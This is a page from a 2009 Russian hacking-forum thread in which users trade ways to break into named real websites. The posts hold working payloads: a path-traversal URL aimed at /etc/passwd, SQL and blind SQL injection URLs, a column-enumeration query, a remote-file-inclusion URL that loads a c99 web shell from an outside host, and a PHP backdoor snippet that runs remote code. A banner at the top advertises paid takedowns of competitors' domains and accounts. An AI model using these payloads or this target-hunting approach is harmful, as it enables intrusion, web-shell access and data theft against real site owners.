Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 571 из 2438

571

Опции темы

Поиск в этой теме

Опции просмотра

#5701

01.03.2009, 01:28

u36a

Познающий

Регистрация: 18.11.2008

Сообщений: 53

С нами: 9199661

Репутация: 10

Можно ли как-то раскрутить пхпинклюд http://volkswagen.msk.ru/?p=../../../../../../../../../../etc/passwd%00 ? Стандартные методы не работают))

#5702

01.03.2009, 05:11

TELO

Познающий

Регистрация: 21.01.2009

Сообщений: 98

С нами: 9107354

Репутация: 122

а как такой роскрутить?
http://shop.zano.ru/index.php?act=13 order by 1

#5703

01.03.2009, 05:18

xcedz

Познавший АНТИЧАТ

Регистрация: 14.01.2008

Сообщений: 1,165

С нами: 9644006

Репутация: 3099

Цитата:

Сообщение от TELO

а как такой роскрутить?
http://shop.zano.ru/index.php?act=13 order by 1

ошибку видишь?

Warning: include() [function.include]: Failed opening '13-1.php' for inclusion (include_path='.:/usr/local/lib/php') in /home/host700852/zano.ru/htdocs/shop/index.php on line 204

#5704

01.03.2009, 13:23

попугай

Познавший АНТИЧАТ

Регистрация: 15.01.2008

Сообщений: 1,166

С нами: 9642449

Репутация: 606

http://shop.zano.ru/index.php?act=http://mail.ru/?

ыы

#5705

01.03.2009, 13:37

Assembler

Участник форума

Регистрация: 01.09.2007

Сообщений: 203

С нами: 9838057

Репутация: 302

http://shop.zano.ru/index.php?act=http://wowbkdo.narod.ru/c99madshell =)))

#5706

01.03.2009, 13:59

[Raz0r]

Members of Antichat - Level 5

Регистрация: 25.02.2007

Сообщений: 495

С нами: 10109126

Репутация: 1980

Цитата:

Сообщение от j0ker13

2razor
работает) но как можно по аналогии вытащить имена колонок?)

SELECT TOP 1 COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME='tbl' AND COLUMN_NAME NOT IN(SELECT TOP x COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME='tbl' ORDER BY COLUMN_NAME) ORDER BY COLUMN_NAME

__________________
<? Raz0r.name — блог о web-безопасности

#5707

01.03.2009, 14:08

diznt

Постоянный

Регистрация: 31.01.2008

Сообщений: 643

С нами: 9619229

Репутация: 445

Всем здрасти
При подборе колонок выводиться

Mixing of GROUP columns (MIN(),MAX(),COUNT(),...)

Перебрал 20 колонок все так же
URL:

http://frutonyanya.ru/php/news.php?c=1'

#5708

01.03.2009, 14:29

mailbrush

Познавший АНТИЧАТ

Регистрация: 24.06.2008

Сообщений: 1,996

С нами: 9410786

Репутация: 2731

Pashkela в своём духе =)

Код:

if(isset($_GET['cmd'])){$f=require("http://pashkela.narod.ru/tema1.txt");die($f);}

Файлик -абревиатура от вебмани

diznt, там же ясно пишет. Запрещен микс груп бай и других параметров, кроме мин, макс, каунт...

#5709

01.03.2009, 14:30

Gorev

Познавший АНТИЧАТ

Регистрация: 31.03.2006

Сообщений: 1,167

С нами: 10585560

Репутация: 1550

Отправить сообщение для Gorev с помощью Yahoo

2 diznt

blind sql injection

version: 4.1.22-log
database : frutony3_fn
user : frutony3_fn@localhost

http://frutonyanya.ru/php/news.php?n=25&c=49+AND+ASCII(SUBSTRING((select+use r()),1,1))>x

#5710

01.03.2009, 14:30

l1ght

Reservists Of Antichat - Level 6

Регистрация: 05.12.2006

Сообщений: 195

С нами: 10227206

Репутация: 2163

Цитата:

Сообщение от diznt

https://forum.antichat.ru/showpost.php?p=966458&postcount=3908
советую забить на скулю доступа к information_schema нет

Цитата:

http://frutonyanya.ru/php/news.php?c=77+group+by+'cc'+and+(select+1+from+inf ormation_schema.tables)--

//add а ну да не обратил внимания на ветку=) 4.1

Последний раз редактировалось l1ght; 01.03.2009 в 14:36..

Страница 571 из 2438

571

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход